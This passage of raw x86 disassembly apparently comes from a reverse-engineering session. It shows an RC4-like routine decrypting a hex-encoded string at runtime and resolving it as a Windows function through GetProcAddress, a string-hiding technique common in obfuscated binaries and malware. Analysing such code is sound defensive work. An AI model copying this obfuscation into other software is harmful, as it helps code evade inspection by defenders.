shl ecx, 0
lea esi, [ebp - 0x2668]
movzx ecx, byte [ecx + esi]
add edx, ecx
and edx, 0xff
shl edx, 0
lea ecx, [ebp - 0x2668]
movzx edx, byte [edx + ecx]
shl edx, 0
lea ecx, [ebp - 0x2668]
movzx edx, byte [edx + ecx]
xor eax, edx
mov byte [ebp - 0x35d5], al
mov al, byte [ebp - 0x367c]
mov byte [ebp - 0x3620], al
mov cl, byte [ebp - 0x35d5]
mov byte [ebp - 0x37b5], cl
cmp dword [ebp - 0x372c], 0
jbe 0x491449
mov edx, dword [ebp - 0x372c]
sub edx, 1
shl edx, 0
lea eax, [ebp - 0x26a8]
mov cl, byte [ebp - 0x37b5]
mov byte [edx + eax], cl
mov edx, dword [ebp - 0x372c]
add edx, 1
mov dword [ebp - 0x372c], edx
mov eax, dword [ebp - 0x3af0]
add eax, 1
mov dword [ebp - 0x3af0], eax
mov ecx, dword [ebp - 0x372c]
shl ecx, 1
mov dword [ebp - 0x41c4], ecx
mov edx, dword [ebp - 0x41c4]
shl edx, 0
add edx, dword [ebp - 0x43ac]
movzx eax, byte [edx]
mov dword [ebp - 0x40f0], eax
mov dword [ebp - 0x40ec], 0x36
mov ecx, dword [ebp - 0x372c]
shl ecx, 1
add ecx, 1
mov dword [ebp - 0x41c8], ecx
mov edx, dword [ebp - 0x41c8]
shl edx, 0
add edx, dword [ebp - 0x43ac]
movzx eax, byte [edx]
mov dword [ebp - 0x40e8], eax
mov dword [ebp - 0x40e4], 0xa
mov ecx, dword [ebp - 0x40f0]
sub ecx, dword [ebp - 0x40ec]
mov dword [ebp - 0x40e0], ecx
mov edx, dword [ebp - 0x40e8]
sub edx, dword [ebp - 0x40e4]
mov dword [ebp - 0x40dc], edx
mov eax, dword [ebp - 0x40e0]
shl eax, 4
mov dword [ebp - 0x41cc], eax
mov ecx, dword [ebp - 0x40dc]
mov dword [ebp - 0x41d0], ecx
mov edx, dword [ebp - 0x41cc]
or edx, dword [ebp - 0x41d0]
mov dword [ebp - 0x41d4], edx
mov al, byte [ebp - 0x41d4]
mov byte [ebp - 0x367c], al
movzx ecx, byte [ebp - 0x3620]
shl ecx, 0
lea edx, [ebp - 0x2668]
mov al, byte [ecx + edx]
mov byte [ebp - 0x367a], al
movzx ecx, byte [ebp - 0x359f]
shl ecx, 0
lea edx, [ebp - 0x2668]
movzx eax, byte [ecx + edx]
movzx ecx, byte [ebp - 0x35d4]
add ecx, eax
mov byte [ebp - 0x35d4], cl
mov dl, byte [ebp - 0x359f]
add dl, 1
mov byte [ebp - 0x359f], dl
movzx eax, byte [ebp - 0x35d4]
shl eax, 0
lea ecx, [ebp - 0x2668]
movzx edx, byte [ebp - 0x3620]
shl edx, 0
lea esi, [ebp - 0x2668]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movzx ecx, byte [ebp - 0x35d5]
shl ecx, 0
lea edx, [ebp - 0x2668]
movzx eax, byte [ebp - 0x35d4]
shl eax, 0
lea esi, [ebp - 0x2668]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x359f]
shl edx, 0
lea eax, [ebp - 0x2668]
movzx ecx, byte [ebp - 0x35d5]
shl ecx, 0
lea esi, [ebp - 0x2668]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x359f]
shl eax, 0
lea ecx, [ebp - 0x2668]
mov dl, byte [ebp - 0x367a]
mov byte [eax + ecx], dl
movzx eax, byte [ebp - 0x367a]
shl eax, 0
lea ecx, [ebp - 0x2668]
movzx edx, byte [eax + ecx]
movzx eax, byte [ebp - 0x367b]
add eax, edx
mov byte [ebp - 0x367b], al
movzx ecx, byte [ebp - 0x367c]
movzx edx, byte [ebp - 0x35d4]
shl edx, 0
lea eax, [ebp - 0x2668]
movzx edx, byte [edx + eax]
movzx eax, byte [ebp - 0x359f]
shl eax, 0
lea esi, [ebp - 0x2668]
movzx eax, byte [eax + esi]
add edx, eax
and edx, 0xff
shl edx, 0
lea eax, [ebp - 0x2668]
movzx edx, byte [edx + eax]
xor ecx, edx
movzx eax, byte [ebp - 0x35d5]
shl eax, 0
lea edx, [ebp - 0x2668]
movzx eax, byte [eax + edx]
movzx edx, byte [ebp - 0x3620]
shl edx, 0
lea esi, [ebp - 0x2668]
movzx edx, byte [edx + esi]
add eax, edx
movzx edx, byte [ebp - 0x367b]
shl edx, 0
lea esi, [ebp - 0x2668]
movzx edx, byte [edx + esi]
add eax, edx
and eax, 0xff
shl eax, 0
lea edx, [ebp - 0x2668]
movzx eax, byte [eax + edx]
shl eax, 0
lea edx, [ebp - 0x2668]
movzx eax, byte [eax + edx]
xor ecx, eax
mov byte [ebp - 0x35d5], cl
mov cl, byte [ebp - 0x367c]
mov byte [ebp - 0x3620], cl
mov dl, byte [ebp - 0x35d5]
mov byte [ebp - 0x37b5], dl
cmp dword [ebp - 0x372c], 0
jbe 0x491709
mov eax, dword [ebp - 0x372c]
sub eax, 1
shl eax, 0
lea ecx, [ebp - 0x26a8]
mov dl, byte [ebp - 0x37b5]
mov byte [eax + ecx], dl
mov eax, dword [ebp - 0x3af0]
add eax, 7
mov dword [ebp - 0x3af0], eax
mov ecx, dword [ebp - 0x372c]
add ecx, 1
mov dword [ebp - 0x4da8], ecx
jmp 0x491738
mov edx, dword [ebp - 0x4da8]
add edx, 1
mov dword [ebp - 0x4da8], edx
mov eax, dword [ebp - 0x4da8]
cmp eax, dword [ebp - 0x3af0]
jge 0x4919ff
mov ecx, dword [ebp - 0x372c]
add ecx, 1
mov dword [ebp - 0x372c], ecx
mov edx, dword [ebp - 0x372c]
shl edx, 1
mov dword [ebp - 0x41c4], edx
mov eax, dword [ebp - 0x41c4]
shl eax, 0
add eax, dword [ebp - 0x43ac]
movzx ecx, byte [eax]
mov dword [ebp - 0x40f0], ecx
mov dword [ebp - 0x40ec], 0x36
mov edx, dword [ebp - 0x372c]
shl edx, 1
add edx, 1
mov dword [ebp - 0x41c8], edx
mov eax, dword [ebp - 0x41c8]
shl eax, 0
add eax, dword [ebp - 0x43ac]
movzx ecx, byte [eax]
mov dword [ebp - 0x40e8], ecx
mov dword [ebp - 0x40e4], 0xa
mov edx, dword [ebp - 0x40f0]
sub edx, dword [ebp - 0x40ec]
mov dword [ebp - 0x40e0], edx
mov eax, dword [ebp - 0x40e8]
sub eax, dword [ebp - 0x40e4]
mov dword [ebp - 0x40dc], eax
mov ecx, dword [ebp - 0x40e0]
shl ecx, 4
mov dword [ebp - 0x41cc], ecx
mov edx, dword [ebp - 0x40dc]
mov dword [ebp - 0x41d0], edx
mov eax, dword [ebp - 0x41cc]
or eax, dword [ebp - 0x41d0]
mov dword [ebp - 0x41d4], eax
mov cl, byte [ebp - 0x41d4]
mov byte [ebp - 0x367c], cl
movzx edx, byte [ebp - 0x3620]
shl edx, 0
lea eax, [ebp - 0x2668]
mov cl, byte [edx + eax]
mov byte [ebp - 0x367a], cl
movzx edx, byte [ebp - 0x359f]
shl edx, 0
lea eax, [ebp - 0x2668]
movzx ecx, byte [edx + eax]
movzx edx, byte [ebp - 0x35d4]
add edx, ecx
mov byte [ebp - 0x35d4], dl
mov al, byte [ebp - 0x359f]
add al, 1
mov byte [ebp - 0x359f], al
movzx ecx, byte [ebp - 0x35d4]
shl ecx, 0
lea edx, [ebp - 0x2668]
movzx eax, byte [ebp - 0x3620]
shl eax, 0
lea esi, [ebp - 0x2668]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x35d5]
shl edx, 0
lea eax, [ebp - 0x2668]
movzx ecx, byte [ebp - 0x35d4]
shl ecx, 0
lea esi, [ebp - 0x2668]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x359f]
shl eax, 0
lea ecx, [ebp - 0x2668]
movzx edx, byte [ebp - 0x35d5]
shl edx, 0
lea esi, [ebp - 0x2668]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movzx ecx, byte [ebp - 0x359f]
shl ecx, 0
lea edx, [ebp - 0x2668]
mov al, byte [ebp - 0x367a]
mov byte [ecx + edx], al
movzx ecx, byte [ebp - 0x367a]
shl ecx, 0
lea edx, [ebp - 0x2668]
movzx eax, byte [ecx + edx]
movzx ecx, byte [ebp - 0x367b]
add ecx, eax
mov byte [ebp - 0x367b], cl
movzx edx, byte [ebp - 0x367c]
movzx eax, byte [ebp - 0x35d4]
shl eax, 0
lea ecx, [ebp - 0x2668]
movzx eax, byte [eax + ecx]
movzx ecx, byte [ebp - 0x359f]
shl ecx, 0
lea esi, [ebp - 0x2668]
movzx ecx, byte [ecx + esi]
add eax, ecx
and eax, 0xff
shl eax, 0
lea ecx, [ebp - 0x2668]
movzx eax, byte [eax + ecx]
xor edx, eax
movzx ecx, byte [ebp - 0x35d5]
shl ecx, 0
lea eax, [ebp - 0x2668]
movzx ecx, byte [ecx + eax]
movzx eax, byte [ebp - 0x3620]
shl eax, 0
lea esi, [ebp - 0x2668]
movzx eax, byte [eax + esi]
add ecx, eax
movzx eax, byte [ebp - 0x367b]
shl eax, 0
lea esi, [ebp - 0x2668]
movzx eax, byte [eax + esi]
add ecx, eax
and ecx, 0xff
shl ecx, 0
lea eax, [ebp - 0x2668]
movzx ecx, byte [ecx + eax]
shl ecx, 0
lea eax, [ebp - 0x2668]
movzx ecx, byte [ecx + eax]
xor edx, ecx
mov byte [ebp - 0x35d5], dl
mov dl, byte [ebp - 0x367c]
mov byte [ebp - 0x3620], dl
mov al, byte [ebp - 0x35d5]
mov byte [ebp - 0x37b5], al
cmp dword [ebp - 0x372c], 0
jbe 0x4919fa
mov ecx, dword [ebp - 0x372c]
sub ecx, 1
shl ecx, 0
lea edx, [ebp - 0x26a8]
mov al, byte [ebp - 0x37b5]
mov byte [ecx + edx], al
jmp 0x491729
mov ecx, dword [ebp - 0x3af0]
add ecx, 1
mov dword [ebp - 0x3af0], ecx
mov edx, dword [ebp - 0x372c]
add edx, 1
mov dword [ebp - 0x372c], edx
mov eax, dword [ebp - 0x3af0]
add eax, 1
mov dword [ebp - 0x3af0], eax
mov ecx, dword [ebp - 0x372c]
shl ecx, 1
mov dword [ebp - 0x41c4], ecx
mov edx, dword [ebp - 0x41c4]
shl edx, 0
add edx, dword [ebp - 0x43ac]
movzx eax, byte [edx]
mov dword [ebp - 0x40f0], eax
mov dword [ebp - 0x40ec], 0x36
mov ecx, dword [ebp - 0x372c]
shl ecx, 1
add ecx, 1
mov dword [ebp - 0x41c8], ecx
mov edx, dword [ebp - 0x41c8]
shl edx, 0
add edx, dword [ebp - 0x43ac]
movzx eax, byte [edx]
mov dword [ebp - 0x40e8], eax
mov dword [ebp - 0x40e4], 0xa
mov ecx, dword [ebp - 0x40f0]
sub ecx, dword [ebp - 0x40ec]
mov dword [ebp - 0x40e0], ecx
mov edx, dword [ebp - 0x40e8]
sub edx, dword [ebp - 0x40e4]
mov dword [ebp - 0x40dc], edx
mov eax, dword [ebp - 0x40e0]
shl eax, 4
mov dword [ebp - 0x41cc], eax
mov ecx, dword [ebp - 0x40dc]
mov dword [ebp - 0x41d0], ecx
mov edx, dword [ebp - 0x41cc]
or edx, dword [ebp - 0x41d0]
mov dword [ebp - 0x41d4], edx
mov al, byte [ebp - 0x41d4]
mov byte [ebp - 0x367c], al
movzx ecx, byte [ebp - 0x3620]
shl ecx, 0
lea edx, [ebp - 0x2668]
mov al, byte [ecx + edx]
mov byte [ebp - 0x367a], al
movzx ecx, byte [ebp - 0x359f]
shl ecx, 0
lea edx, [ebp - 0x2668]
movzx eax, byte [ecx + edx]
movzx ecx, byte [ebp - 0x35d4]
add ecx, eax
mov byte [ebp - 0x35d4], cl
mov dl, byte [ebp - 0x359f]
add dl, 1
mov byte [ebp - 0x359f], dl
movzx eax, byte [ebp - 0x35d4]
shl eax, 0
lea ecx, [ebp - 0x2668]
movzx edx, byte [ebp - 0x3620]
shl edx, 0
lea esi, [ebp - 0x2668]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movzx ecx, byte [ebp - 0x35d5]
shl ecx, 0
lea edx, [ebp - 0x2668]
movzx eax, byte [ebp - 0x35d4]
shl eax, 0
lea esi, [ebp - 0x2668]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x359f]
shl edx, 0
lea eax, [ebp - 0x2668]
movzx ecx, byte [ebp - 0x35d5]
shl ecx, 0
lea esi, [ebp - 0x2668]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x359f]
shl eax, 0
lea ecx, [ebp - 0x2668]
mov dl, byte [ebp - 0x367a]
mov byte [eax + ecx], dl
movzx eax, byte [ebp - 0x367a]
shl eax, 0
lea ecx, [ebp - 0x2668]
movzx edx, byte [eax + ecx]
movzx eax, byte [ebp - 0x367b]
add eax, edx
mov byte [ebp - 0x367b], al
movzx ecx, byte [ebp - 0x367c]
movzx edx, byte [ebp - 0x35d4]
shl edx, 0
lea eax, [ebp - 0x2668]
movzx edx, byte [edx + eax]
movzx eax, byte [ebp - 0x359f]
shl eax, 0
lea esi, [ebp - 0x2668]
movzx eax, byte [eax + esi]
add edx, eax
and edx, 0xff
shl edx, 0
lea eax, [ebp - 0x2668]
movzx edx, byte [edx + eax]
xor ecx, edx
movzx eax, byte [ebp - 0x35d5]
shl eax, 0
lea edx, [ebp - 0x2668]
movzx eax, byte [eax + edx]
movzx edx, byte [ebp - 0x3620]
shl edx, 0
lea esi, [ebp - 0x2668]
movzx edx, byte [edx + esi]
add eax, edx
movzx edx, byte [ebp - 0x367b]
shl edx, 0
lea esi, [ebp - 0x2668]
movzx edx, byte [edx + esi]
add eax, edx
and eax, 0xff
shl eax, 0
lea edx, [ebp - 0x2668]
movzx eax, byte [eax + edx]
shl eax, 0
lea edx, [ebp - 0x2668]
movzx eax, byte [eax + edx]
xor ecx, eax
mov byte [ebp - 0x35d5], cl
mov cl, byte [ebp - 0x367c]
mov byte [ebp - 0x3620], cl
mov dl, byte [ebp - 0x35d5]
mov byte [ebp - 0x37b5], dl
cmp dword [ebp - 0x372c], 0
jbe 0x491cce
mov eax, dword [ebp - 0x372c]
sub eax, 1
shl eax, 0
lea ecx, [ebp - 0x26a8]
mov dl, byte [ebp - 0x37b5]
mov byte [eax + ecx], dl
mov eax, dword [ebp - 0x3af0]
add eax, 7
mov dword [ebp - 0x3af0], eax
mov ecx, dword [ebp - 0x372c]
add ecx, 1
mov dword [ebp - 0x4da8], ecx
jmp 0x491cfd
mov edx, dword [ebp - 0x4da8]
add edx, 1
mov dword [ebp - 0x4da8], edx
mov eax, dword [ebp - 0x4da8]
cmp eax, dword [ebp - 0x3af0]
jge 0x491fc4
mov ecx, dword [ebp - 0x372c]
add ecx, 1
mov dword [ebp - 0x372c], ecx
mov edx, dword [ebp - 0x372c]
shl edx, 1
mov dword [ebp - 0x41c4], edx
mov eax, dword [ebp - 0x41c4]
shl eax, 0
add eax, dword [ebp - 0x43ac]
movzx ecx, byte [eax]
mov dword [ebp - 0x40f0], ecx
mov dword [ebp - 0x40ec], 0x36
mov edx, dword [ebp - 0x372c]
shl edx, 1
add edx, 1
mov dword [ebp - 0x41c8], edx
mov eax, dword [ebp - 0x41c8]
shl eax, 0
add eax, dword [ebp - 0x43ac]
movzx ecx, byte [eax]
mov dword [ebp - 0x40e8], ecx
mov dword [ebp - 0x40e4], 0xa
mov edx, dword [ebp - 0x40f0]
sub edx, dword [ebp - 0x40ec]
mov dword [ebp - 0x40e0], edx
mov eax, dword [ebp - 0x40e8]
sub eax, dword [ebp - 0x40e4]
mov dword [ebp - 0x40dc], eax
mov ecx, dword [ebp - 0x40e0]
shl ecx, 4
mov dword [ebp - 0x41cc], ecx
mov edx, dword [ebp - 0x40dc]
mov dword [ebp - 0x41d0], edx
mov eax, dword [ebp - 0x41cc]
or eax, dword [ebp - 0x41d0]
mov dword [ebp - 0x41d4], eax
mov cl, byte [ebp - 0x41d4]
mov byte [ebp - 0x367c], cl
movzx edx, byte [ebp - 0x3620]
shl edx, 0
lea eax, [ebp - 0x2668]
mov cl, byte [edx + eax]
mov byte [ebp - 0x367a], cl
movzx edx, byte [ebp - 0x359f]
shl edx, 0
lea eax, [ebp - 0x2668]
movzx ecx, byte [edx + eax]
movzx edx, byte [ebp - 0x35d4]
add edx, ecx
mov byte [ebp - 0x35d4], dl
mov al, byte [ebp - 0x359f]
add al, 1
mov byte [ebp - 0x359f], al
movzx ecx, byte [ebp - 0x35d4]
shl ecx, 0
lea edx, [ebp - 0x2668]
movzx eax, byte [ebp - 0x3620]
shl eax, 0
lea esi, [ebp - 0x2668]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x35d5]
shl edx, 0
lea eax, [ebp - 0x2668]
movzx ecx, byte [ebp - 0x35d4]
shl ecx, 0
lea esi, [ebp - 0x2668]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x359f]
shl eax, 0
lea ecx, [ebp - 0x2668]
movzx edx, byte [ebp - 0x35d5]
shl edx, 0
lea esi, [ebp - 0x2668]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movzx ecx, byte [ebp - 0x359f]
shl ecx, 0
lea edx, [ebp - 0x2668]
mov al, byte [ebp - 0x367a]
mov byte [ecx + edx], al
movzx ecx, byte [ebp - 0x367a]
shl ecx, 0
lea edx, [ebp - 0x2668]
movzx eax, byte [ecx + edx]
movzx ecx, byte [ebp - 0x367b]
add ecx, eax
mov byte [ebp - 0x367b], cl
movzx edx, byte [ebp - 0x367c]
movzx eax, byte [ebp - 0x35d4]
shl eax, 0
lea ecx, [ebp - 0x2668]
movzx eax, byte [eax + ecx]
movzx ecx, byte [ebp - 0x359f]
shl ecx, 0
lea esi, [ebp - 0x2668]
movzx ecx, byte [ecx + esi]
add eax, ecx
and eax, 0xff
shl eax, 0
lea ecx, [ebp - 0x2668]
movzx eax, byte [eax + ecx]
xor edx, eax
movzx ecx, byte [ebp - 0x35d5]
shl ecx, 0
lea eax, [ebp - 0x2668]
movzx ecx, byte [ecx + eax]
movzx eax, byte [ebp - 0x3620]
shl eax, 0
lea esi, [ebp - 0x2668]
movzx eax, byte [eax + esi]
add ecx, eax
movzx eax, byte [ebp - 0x367b]
shl eax, 0
lea esi, [ebp - 0x2668]
movzx eax, byte [eax + esi]
add ecx, eax
and ecx, 0xff
shl ecx, 0
lea eax, [ebp - 0x2668]
movzx ecx, byte [ecx + eax]
shl ecx, 0
lea eax, [ebp - 0x2668]
movzx ecx, byte [ecx + eax]
xor edx, ecx
mov byte [ebp - 0x35d5], dl
mov dl, byte [ebp - 0x367c]
mov byte [ebp - 0x3620], dl
mov al, byte [ebp - 0x35d5]
mov byte [ebp - 0x37b5], al
cmp dword [ebp - 0x372c], 0
jbe 0x491fbf
mov ecx, dword [ebp - 0x372c]
sub ecx, 1
shl ecx, 0
lea edx, [ebp - 0x26a8]
mov al, byte [ebp - 0x37b5]
mov byte [ecx + edx], al
jmp 0x491cee
mov ecx, dword [ebp - 0x3af0]
add ecx, 1
mov dword [ebp - 0x3af0], ecx
mov edx, dword [ebp - 0x372c]
add edx, 1
mov dword [ebp - 0x372c], edx
mov eax, dword [ebp - 0x3af0]
add eax, 1
mov dword [ebp - 0x3af0], eax
mov ecx, dword [ebp - 0x372c]
shl ecx, 1
mov dword [ebp - 0x41c4], ecx
mov edx, dword [ebp - 0x41c4]
shl edx, 0
add edx, dword [ebp - 0x43ac]
movzx eax, byte [edx]
mov dword [ebp - 0x40f0], eax
mov dword [ebp - 0x40ec], 0x36
mov ecx, dword [ebp - 0x372c]
shl ecx, 1
add ecx, 1
mov dword [ebp - 0x41c8], ecx
mov edx, dword [ebp - 0x41c8]
shl edx, 0
add edx, dword [ebp - 0x43ac]
movzx eax, byte [edx]
mov dword [ebp - 0x40e8], eax
mov dword [ebp - 0x40e4], 0xa
mov ecx, dword [ebp - 0x40f0]
sub ecx, dword [ebp - 0x40ec]
mov dword [ebp - 0x40e0], ecx
mov edx, dword [ebp - 0x40e8]
sub edx, dword [ebp - 0x40e4]
mov dword [ebp - 0x40dc], edx
mov eax, dword [ebp - 0x40e0]
shl eax, 4
mov dword [ebp - 0x41cc], eax
mov ecx, dword [ebp - 0x40dc]
mov dword [ebp - 0x41d0], ecx
mov edx, dword [ebp - 0x41cc]
or edx, dword [ebp - 0x41d0]
mov dword [ebp - 0x41d4], edx
mov al, byte [ebp - 0x41d4]
mov byte [ebp - 0x367c], al
movzx ecx, byte [ebp - 0x3620]
shl ecx, 0
lea edx, [ebp - 0x2668]
mov al, byte [ecx + edx]
mov byte [ebp - 0x367a], al
movzx ecx, byte [ebp - 0x359f]
shl ecx, 0
lea edx, [ebp - 0x2668]
movzx eax, byte [ecx + edx]
movzx ecx, byte [ebp - 0x35d4]
add ecx, eax
mov byte [ebp - 0x35d4], cl
mov dl, byte [ebp - 0x359f]
add dl, 1
mov byte [ebp - 0x359f], dl
movzx eax, byte [ebp - 0x35d4]
shl eax, 0
lea ecx, [ebp - 0x2668]
movzx edx, byte [ebp - 0x3620]
shl edx, 0
lea esi, [ebp - 0x2668]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movzx ecx, byte [ebp - 0x35d5]
shl ecx, 0
lea edx, [ebp - 0x2668]
movzx eax, byte [ebp - 0x35d4]
shl eax, 0
lea esi, [ebp - 0x2668]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x359f]
shl edx, 0
lea eax, [ebp - 0x2668]
movzx ecx, byte [ebp - 0x35d5]
shl ecx, 0
lea esi, [ebp - 0x2668]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x359f]
shl eax, 0
lea ecx, [ebp - 0x2668]
mov dl, byte [ebp - 0x367a]
mov byte [eax + ecx], dl
movzx eax, byte [ebp - 0x367a]
shl eax, 0
lea ecx, [ebp - 0x2668]
movzx edx, byte [eax + ecx]
movzx eax, byte [ebp - 0x367b]
add eax, edx
mov byte [ebp - 0x367b], al
movzx ecx, byte [ebp - 0x367c]
movzx edx, byte [ebp - 0x35d4]
shl edx, 0
lea eax, [ebp - 0x2668]
movzx edx, byte [edx + eax]
movzx eax, byte [ebp - 0x359f]
shl eax, 0
lea esi, [ebp - 0x2668]
movzx eax, byte [eax + esi]
add edx, eax
and edx, 0xff
shl edx, 0
lea eax, [ebp - 0x2668]
movzx edx, byte [edx + eax]
xor ecx, edx
movzx eax, byte [ebp - 0x35d5]
shl eax, 0
lea edx, [ebp - 0x2668]
movzx eax, byte [eax + edx]
movzx edx, byte [ebp - 0x3620]
shl edx, 0
lea esi, [ebp - 0x2668]
movzx edx, byte [edx + esi]
add eax, edx
movzx edx, byte [ebp - 0x367b]
shl edx, 0
lea esi, [ebp - 0x2668]
movzx edx, byte [edx + esi]
add eax, edx
and eax, 0xff
shl eax, 0
lea edx, [ebp - 0x2668]
movzx eax, byte [eax + edx]
shl eax, 0
lea edx, [ebp - 0x2668]
movzx eax, byte [eax + edx]
xor ecx, eax
mov byte [ebp - 0x35d5], cl
mov cl, byte [ebp - 0x367c]
mov byte [ebp - 0x3620], cl
mov dl, byte [ebp - 0x35d5]
mov byte [ebp - 0x37b5], dl
cmp dword [ebp - 0x372c], 0
jbe 0x492293
mov eax, dword [ebp - 0x372c]
sub eax, 1
shl eax, 0
lea ecx, [ebp - 0x26a8]
mov dl, byte [ebp - 0x37b5]
mov byte [eax + ecx], dl
mov eax, dword [ebp - 0x372c]
add eax, 1
mov dword [ebp - 0x372c], eax
mov ecx, dword [ebp - 0x3af0]
add ecx, 1
mov dword [ebp - 0x3af0], ecx
mov edx, dword [ebp - 0x372c]
shl edx, 1
mov dword [ebp - 0x41c4], edx
mov eax, dword [ebp - 0x41c4]
shl eax, 0
add eax, dword [ebp - 0x43ac]
movzx ecx, byte [eax]
mov dword [ebp - 0x40f0], ecx
mov dword [ebp - 0x40ec], 0x36
mov edx, dword [ebp - 0x372c]
shl edx, 1
add edx, 1
mov dword [ebp - 0x41c8], edx
mov eax, dword [ebp - 0x41c8]
shl eax, 0
add eax, dword [ebp - 0x43ac]
movzx ecx, byte [eax]
mov dword [ebp - 0x40e8], ecx
mov dword [ebp - 0x40e4], 0xa
mov edx, dword [ebp - 0x40f0]
sub edx, dword [ebp - 0x40ec]
mov dword [ebp - 0x40e0], edx
mov eax, dword [ebp - 0x40e8]
sub eax, dword [ebp - 0x40e4]
mov dword [ebp - 0x40dc], eax
mov ecx, dword [ebp - 0x40e0]
shl ecx, 4
mov dword [ebp - 0x41cc], ecx
mov edx, dword [ebp - 0x40dc]
mov dword [ebp - 0x41d0], edx
mov eax, dword [ebp - 0x41cc]
or eax, dword [ebp - 0x41d0]
mov dword [ebp - 0x41d4], eax
mov cl, byte [ebp - 0x41d4]
mov byte [ebp - 0x367c], cl
movzx edx, byte [ebp - 0x3620]
shl edx, 0
lea eax, [ebp - 0x2668]
mov cl, byte [edx + eax]
mov byte [ebp - 0x367a], cl
movzx edx, byte [ebp - 0x359f]
shl edx, 0
lea eax, [ebp - 0x2668]
movzx ecx, byte [edx + eax]
movzx edx, byte [ebp - 0x35d4]
add edx, ecx
mov byte [ebp - 0x35d4], dl
mov al, byte [ebp - 0x359f]
add al, 1
mov byte [ebp - 0x359f], al
movzx ecx, byte [ebp - 0x35d4]
shl ecx, 0
lea edx, [ebp - 0x2668]
movzx eax, byte [ebp - 0x3620]
shl eax, 0
lea esi, [ebp - 0x2668]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x35d5]
shl edx, 0
lea eax, [ebp - 0x2668]
movzx ecx, byte [ebp - 0x35d4]
shl ecx, 0
lea esi, [ebp - 0x2668]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x359f]
shl eax, 0
lea ecx, [ebp - 0x2668]
movzx edx, byte [ebp - 0x35d5]
shl edx, 0
lea esi, [ebp - 0x2668]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movzx ecx, byte [ebp - 0x359f]
shl ecx, 0
lea edx, [ebp - 0x2668]
mov al, byte [ebp - 0x367a]
mov byte [ecx + edx], al
movzx ecx, byte [ebp - 0x367a]
shl ecx, 0
lea edx, [ebp - 0x2668]
movzx eax, byte [ecx + edx]
movzx ecx, byte [ebp - 0x367b]
add ecx, eax
mov byte [ebp - 0x367b], cl
movzx edx, byte [ebp - 0x367c]
movzx eax, byte [ebp - 0x35d4]
shl eax, 0
lea ecx, [ebp - 0x2668]
movzx eax, byte [eax + ecx]
movzx ecx, byte [ebp - 0x359f]
shl ecx, 0
lea esi, [ebp - 0x2668]
movzx ecx, byte [ecx + esi]
add eax, ecx
and eax, 0xff
shl eax, 0
lea ecx, [ebp - 0x2668]
movzx eax, byte [eax + ecx]
xor edx, eax
movzx ecx, byte [ebp - 0x35d5]
shl ecx, 0
lea eax, [ebp - 0x2668]
movzx ecx, byte [ecx + eax]
movzx eax, byte [ebp - 0x3620]
shl eax, 0
lea esi, [ebp - 0x2668]
movzx eax, byte [eax + esi]
add ecx, eax
movzx eax, byte [ebp - 0x367b]
shl eax, 0
lea esi, [ebp - 0x2668]
movzx eax, byte [eax + esi]
add ecx, eax
and ecx, 0xff
shl ecx, 0
lea eax, [ebp - 0x2668]
movzx ecx, byte [ecx + eax]
shl ecx, 0
lea eax, [ebp - 0x2668]
movzx ecx, byte [ecx + eax]
xor edx, ecx
mov byte [ebp - 0x35d5], dl
mov dl, byte [ebp - 0x367c]
mov byte [ebp - 0x3620], dl
mov al, byte [ebp - 0x35d5]
mov byte [ebp - 0x37b5], al
cmp dword [ebp - 0x372c], 0
jbe 0x492552
mov ecx, dword [ebp - 0x372c]
sub ecx, 1
shl ecx, 0
lea edx, [ebp - 0x26a8]
mov al, byte [ebp - 0x37b5]
mov byte [ecx + edx], al
mov ecx, 1
imul edx, ecx, 0x12
mov dword [ebp - 0x5f0c], edx
cmp dword [ebp - 0x5f0c], 0x13
jae 0x49256b
jmp 0x492570
call fcn.009b6d77
lea eax, [ebp - 0x26a8]
add eax, dword [ebp - 0x5f0c]
mov byte [eax], 0
jmp 0x4925d2
mov dword [ebp - 0x372c], 0
jmp 0x49259c
mov ecx, dword [ebp - 0x372c]
add ecx, 1
mov dword [ebp - 0x372c], ecx
cmp dword [ebp - 0x372c], 0x13
jae 0x4925d2
mov edx, dword [ebp - 0x372c]
mov dword [ebp - 0x5f08], edx
cmp dword [ebp - 0x5f08], 0x13
jae 0x4925bc
jmp 0x4925c1
call fcn.009b6d77
lea eax, [ebp - 0x26a8]
add eax, dword [ebp - 0x5f08]
mov byte [eax], 0
jmp 0x49258d
lea ecx, [ebp - 0x26a8]
push ecx
mov edx, dword [ebp - 0x37e4]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0xa06810], eax
xorps xmm0, xmm0
movsd qword [ebp - 0x5728], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x5348], xmm0
mov dword [ebp - 0x3730], 0
mov dword [ebp - 0x4dac], 0
mov dword [ebp - 0x5904], 0
mov dword [ebp - 0x5430], 1
mov dword [ebp - 0x48d8], 0
mov dword [ebp - 0x5bec], 0
mov dword [ebp - 0x3af8], 0
mov dword [ebp - 0x41d8], 0
mov dword [ebp - 0x40d8], 0
mov dword [ebp - 0x40d4], 0
mov dword [ebp - 0x41dc], 0
mov dword [ebp - 0x40d0], 0
mov dword [ebp - 0x410c], 0
mov dword [ebp - 0x40c8], 0
mov dword [ebp - 0x40c4], 0
mov dword [ebp - 0x41e0], 0
mov dword [ebp - 0x41e4], 0
mov dword [ebp - 0x41e8], 0
